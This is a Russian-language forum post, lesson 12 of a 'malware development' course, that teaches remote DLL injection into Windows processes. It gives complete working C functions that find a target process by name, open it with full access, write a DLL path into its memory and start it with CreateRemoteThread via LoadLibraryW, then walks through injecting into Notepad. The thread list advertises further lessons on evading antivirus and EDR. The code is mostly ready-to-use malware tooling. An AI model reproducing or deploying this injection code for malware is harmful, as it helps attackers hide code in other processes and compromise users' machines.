Уроки Разработка малвари-12. Иньекция в процесс


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
В этой статье предлагаю обсудить метод, аналогичный тому, что был показан ранее при локальной инъекции DLL, за исключением того, что теперь инъекция будет выполняться в удаленный процесс.

Перечисление процессов

Прежде чем можно будет инъецировать DLL в процесс, необходимо выбрать целевой процесс. Поэтому первым шагом в инъекции в удаленный процесс обычно является перечисление запущенных процессов на компьютере для определения потенциальных целевых процессов, в которые можно выполнить инъекцию. Для этого требуется идентификатор процесса (PID), чтобы открыть дескриптор целевого процесса и выполнить необходимую работу в нем.

В статье мы создадим функцию, которая выполняет перечисление процессов для определения всех запущенных процессов.
Функция GetRemoteProcessHandle будет использоваться для перечисления всех запущенных процессов в системе, открытия дескриптора целевого процесса и возврата как PID, так и дескриптора процесса.

CreateToolhelp32Snapshot

Кодовый фрагмент начинается с использования функции CreateToolhelp32Snapshot с флагом TH32CS_SNAPPROCESS в качестве первого параметра, который создает снимок всех процессов, работающих в системе в момент выполнения функции.

C:
// Создает снимок всех в данный момент выполняющихся процессов
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

Структура PROCESSENTRY32

После создания снимка функция Process32First используется для получения информации о первом процессе в снимке. Для всех остальных процессов в снимке используется функция Process32Next.

Документация Microsoft утверждает, что как Process32First, так и Process32Next требуют передачи структуры PROCESSENTRY32 в качестве второго параметра. После вызова функций эти функции заполняют структуру информацией о процессе.

Структура PROCESSENTRY32 показана ниже с комментариями рядом к полезным членам структуры, которые будут заполнены этими функциями.

C:
typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;              // Идентификатор процесса
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;        // Идентификатор родительского процесса
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  CHAR      szExeFile[MAX_PATH];        // Имя исполняемого файла процесса
} PROCESSENTRY32;

После вызова Process32First или Process32Next и заполнения структуры, данные можно извлечь из структуры, используя оператор точки.
Например, чтобы извлечь PID, используйте PROCESSENTRY32.th32ProcessID.

Process32First и Process32Next

Как уже упоминалось, Process32First используется для получения информации о первом процессе, а Process32Next для всех остальных процессов в снимке с использованием цикла do-while. Имя процесса, которое ищется (szProcessName), сравнивается с именем процесса в текущей итерации цикла, которое извлекается из заполненной структуры Proc.szExeFile. Если есть совпадение, то сохраняется идентификатор процесса (PID), и открывается дескриптор для этого процесса.

C:
// Получение информации о первом процессе в снимке.
if (!Process32First(hSnapShot, &Proc)) {
    printf("[!] Process32First Failed With Error : %d \n", GetLastError());
    goto _EndOfFunction;
}

do {
    // Используйте оператор точки для извлечения имени процесса из заполненной структуры
    // Если имя процесса совпадает с тем, что мы ищем
    if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
        // Используйте оператор точки для извлечения идентификатора процесса из заполненной структуры
        // Сохраните PID
        *dwProcessId  = Proc.th32ProcessID;
        // Откройте дескриптор процесса
        *hProcess     = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
        if (*hProcess == NULL)
            printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());

        break; // Выход из цикла
    }

// Получение информации о следующем процессе в снимке.
// Пока в снимке еще остается процесс, продолжайте цикл
} while (Process32Next(hSnapShot, &Proc));

Пример кода получения ID и хендла процесса по имени:

C:
BOOL GetRemoteProcessHandle(IN LPWSTR szProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) {

    // Согласно документации:
    // Перед вызовом функции Process32First установите этот член в sizeof(PROCESSENTRY32).
    // Если dwSize не инициализирован, Process32First завершится неудачей.
    PROCESSENTRY32    Proc = {
        .dwSize = sizeof(PROCESSENTRY32)
    };

    HANDLE hSnapShot = NULL;

    // Создает снимок всех в данный момент выполняющихся процессов
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE){
        printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    // Получение информации о первом процессе в снимке.
    if (!Process32First(hSnapShot, &Proc)) {
        printf("[!] Process32First Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    do {
        // Используйте оператор точки для извлечения имени процесса из заполненной структуры
        // Если имя процесса совпадает с тем, что мы ищем
        if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
            // Используйте оператор точки для извлечения идентификатора процесса из заполненной структуры
            // Сохраните PID
            *dwProcessId = Proc.th32ProcessID;
            // Откройте дескриптор процесса
            *hProcess    = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
            if (*hProcess == NULL)
                printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());

            break; // Выход из цикла
        }

    // Получение информации о следующем процессе в снимке.
    // Пока в снимке еще остается процесс, продолжайте цикл
    } while (Process32Next(hSnapShot, &Proc));

    // Очистка ресурсов
    _EndOfFunction:
        if (hSnapShot != NULL)
            CloseHandle(hSnapShot);
        if (*dwProcessId == NULL || *hProcess == NULL)
            return FALSE;
        return TRUE;
}

Чувствительность к регистру в имени процесса

Приведенный выше кодовый фрагмент содержит один недочет, который был упущен и который может привести к неверным результатам. Функция wcscmp использовалась для сравнения имен процессов, но при этом не учитывалась чувствительность к регистру, что означает, что Process1.exe и process1.exe будут считаться двумя разными процессами.

В приведенном ниже кодовом фрагменте этот недостаток устранен путем преобразования значения в члене Proc.szExeFile в строку в нижнем регистре, а затем сравнения его со szProcessName.
Таким образом, szProcessName всегда должен передаваться в виде строки в нижнем регистре.

C:
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {

    // Согласно документации:
    // Перед вызовом функции Process32First установите этот член в sizeof(PROCESSENTRY32).
    // Если dwSize не инициализирован, Process32First завершится неудачей.
    PROCESSENTRY32    Proc = {
        .dwSize = sizeof(PROCESSENTRY32)
    };

    HANDLE hSnapShot = NULL;

    // Создает снимок всех в данный момент выполняющихся процессов
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE){
        printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    // Получение информации о первом процессе в снимке.
    if (!Process32First(hSnapShot, &Proc)) {
        printf("[!] Process32First Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    do {
        WCHAR LowerName[MAX_PATH * 2];

        if (Proc.szExeFile) {
            DWORD    dwSize = lstrlenW(Proc.szExeFile);
            DWORD   i = 0;

            RtlSecureZeroMemory(LowerName, MAX_PATH * 2);

            // Преобразование каждого символа в Proc.szExeFile в символ нижнего регистра
            // и сохранение его в LowerName
            if (dwSize < MAX_PATH * 2) {
                for (; i < dwSize; i++)
                    LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);

                LowerName[i++] = '\0';
            }
        }

        // Если преобразованное в нижний регистр имя процесса совпадает с искомым процессом
        if (wcscmp(LowerName, szProcessName) == 0) {
            // Сохраните PID
            *dwProcessId = Proc.th32ProcessID;
            // Откройте дескриптор процесса
            *hProcess    = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
            if (*hProcess == NULL)
                printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());

            break;
        }

    // Получение информации о следующем процессе в снимке.
    // Пока в снимке еще остается процесс, продолжайте цикл
    } while (Process32Next(hSnapShot, &Proc));

    // Очистка ресурсов
    _EndOfFunction:
        if (hSnapShot != NULL)
            CloseHandle(hSnapShot);
        if (*dwProcessId == NULL || *hProcess == NULL)
            return FALSE;
        return TRUE;
    }

Инъекция DLL

Дескриптор процесса целевого процесса был успешно получен. Следующим шагом будет инъекция DLL в целевой процесс, для которого потребуется использование нескольких ранее использованных Windows API, а также некоторых новых.

VirtualAllocEx - Аналогично VirtualAlloc, за исключением того, что он позволяет выделять память в удаленном процессе.

WriteProcessMemory - Записывает данные в удаленный процесс. В этом случае он будет использоваться для записи пути к DLL в целевой процесс.

CreateRemoteThread - Создает поток в удаленном процессе.

Обзор кода

В этом разделе будет рассмотрен код инъекции DLL (показан ниже). Функция InjectDllToRemoteProcess принимает два аргумента:

Дескриптор процесса - это HANDLE к целевому процессу, в который будет инъецирован DLL.
Имя DLL - полный путь к DLL, который будет инъецирован в целевой процесс.

Определение адреса LoadLibraryW

LoadLibraryW используется для загрузки DLL в процесс, который его вызывает. Поскольку целью является загрузка DLL в удаленный процесс, а не в локальный процесс, он не может быть вызван напрямую.

Вместо этого необходимо получить адрес LoadLibraryW и передать его созданному удаленному потоку в процессе, передавая имя DLL в качестве его аргумента.
Это работает, потому что адрес WinAPI LoadLibraryW будет таким же в удаленном процессе, как и в локальном процессе. Чтобы определить адрес WinAPI, используются GetProcAddress и GetModuleHandle.

C:
// LoadLibrary экспортируется kernel32.dll
// Поэтому получен дескриптор kernel32.dll, а затем адрес LoadLibraryW
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

Адрес, хранящийся в pLoadLibraryW, будет использоваться в качестве точки входа потока при создании нового потока в удаленном процессе.

Выделение памяти

Следующим шагом является выделение памяти в удаленном процессе, которое может вместить имя DLL, DllName. Для выделения памяти в удаленном процессе используется функция VirtualAllocEx.

C:
// Выделяет память размером dwSizeToWrite (это размер имени dll) внутри удаленного процесса, hProcess.
// Защита памяти - Чтение-Запись
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

Запись в выделенную память

После успешного выделения памяти в удаленном процессе можно использовать WriteProcessMemory для записи в выделенный буфер. Имя DLL записывается в ранее выделенный буфер памяти.

Функция WinAPI WriteProcessMemory выглядит следующим образом на основе ее документации:

C:
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,               // Дескриптор процесса, память которого будет записана
  [in]  LPVOID  lpBaseAddress,          // Базовый адрес в указанном процессе, в который будут записаны данные
  [in]  LPCVOID lpBuffer,               // Указатель на буфер, содержащий данные для записи в 'lpBaseAddress'
  [in]  SIZE_T  nSize,                  // Количество байт, которые будут записаны в указанный процесс.
  [out] SIZE_T  *lpNumberOfBytesWritten // Указатель на переменную 'SIZE_T', которая получает количество фактически записанных байтов
);

На основе показанных выше параметров WriteProcessMemory, его можно вызвать следующим образом, записывая буфер (DllName) в выделенный адрес (pAddress), возвращенный ранее вызванной функцией VirtualAllocEx.

C:
// Записанные данные - это имя DLL, 'DllName', размером 'dwSizeToWrite'
SIZE_T lpNumberOfBytesWritten = NULL;
WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)

Выполнение через новый поток

После успешной записи пути к DLL в выделенный буфер будет использоваться CreateRemoteThread для создания нового потока в удаленном процессе.
Здесь становится необходимым адрес LoadLibraryW.
pLoadLibraryW передается в качестве начального адреса потока, затем pAddress, содержащий имя DLL, передается в качестве аргумента вызова LoadLibraryW. Это делается путем передачи pAddress в качестве параметра lpParameter функции CreateRemoteThread.

Параметры CreateRemoteThread такие же, как у функции CreateThread, описанной ранее, за исключением дополнительного параметра HANDLE hProcess, который представляет собой дескриптор процесса, в котором будет создан поток.

C:
// Точка входа потока будет 'pLoadLibraryW', который является адресом LoadLibraryW
// Имя DLL, pAddress, передается в качестве аргумента для LoadLibrary
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);

Инъекция DLL - Поный код функции InjectDllToRemoteProcess
C:
BOOL InjectDllToRemoteProcess(IN HANDLE hProcess, IN LPWSTR DllName) {

    BOOL        bSTATE                    = TRUE;

    LPVOID        pLoadLibraryW             = NULL;
    LPVOID        pAddress                  = NULL;

    // получение размера DllName *в байтах* (для записи в память процесса)
    DWORD        dwSizeToWrite             = (wcslen(DllName) + 1) * sizeof(WCHAR);

    // Получение адреса LoadLibraryW
    pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
    if (pLoadLibraryW == NULL) {
        printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Выделение памяти в удаленном процессе
    pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == NULL) {
        printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Запись DllName в выделенный регион памяти
    SIZE_T lpNumberOfBytesWritten = NULL;
    if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)) {
        printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
        VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
        return FALSE;
    }

    // Создание нового потока для загрузки Dll
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
    if (hThread == NULL) {
        printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
        VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
        return FALSE;
    }

    // Ожидание завершения потока
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    // Освобождение выделенной памяти
    VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);

    return bSTATE;
}

Отладка (В качестве домашнего задания напишите проект сами и проделайте сами описанное ниже)

В этом разделе реализация отлаживается с использованием отладчика xdbg, чтобы лучше понять, что происходит "под капотом".

Сначала запустите RemoteDllInjection.exe и передайте два аргумента: целевой процесс и полный путь к DLL, который нужно внедрить в целевой процесс.

В этой демонстрации внедряется notepad.exe.

1694702995655.png


Процесс перечисления успешно выполнен. Проверьте, что PID Notepad действительно равен 20932, используя Process Hacker.

1694703030532.png


Далее, к целевому процессу, Блокноту, присоединяется xdbg, и проверяется выделенный адрес. Изображение ниже показывает, что буфер был успешно выделен.

1694703098869.png



После выделения памяти имя DLL записывается в буфер.

1694703134193.png


Наконец, в удаленном процессе создается новый поток, который выполняет DLL.

1694703166562.png


Проверьте, что DLL был успешно внедрен, используя вкладку "модули" в Process Hacker.

1694703201570.png


Перейдите на вкладку "потоки" в Process Hacker и обратите внимание на поток, который выполняет LoadLibraryW в качестве своей начальной функции.

1694703259992.png
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 16
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 7
X-Shar Введение в разработку вредоносных программ 8
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 4
X-Shar Введение в разработку вредоносных программ 2
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка малвари-14. Размещаем Payload удаленно на сервере
Уроки Разработка малвари-13.Инъекция шелл-кода в процесс
Уроки Разработка малвари-11. Локальный запуск Payload
Уроки Разработка малвари-10. Обфускация Payload
Уроки Разработка малвари-9. Шифруем Payload
Уроки Разработка малвари-8. Куда класть нагрузку ?
Уроки Разработка малвари-7. Виды детектов
Уроки Разработка малвари-6. Процессы Windows
Уроки Разработка малвари - 5. Изучаем динамические библиотеки
Уроки Разработка малвари - 4. Шпаргалка по архитектуре винды
Уроки Разработка малвари - 3. Так какой-же язык выбрать !?
Уроки Разработка малвари - 2. Изучаем инструменты
Верх Низ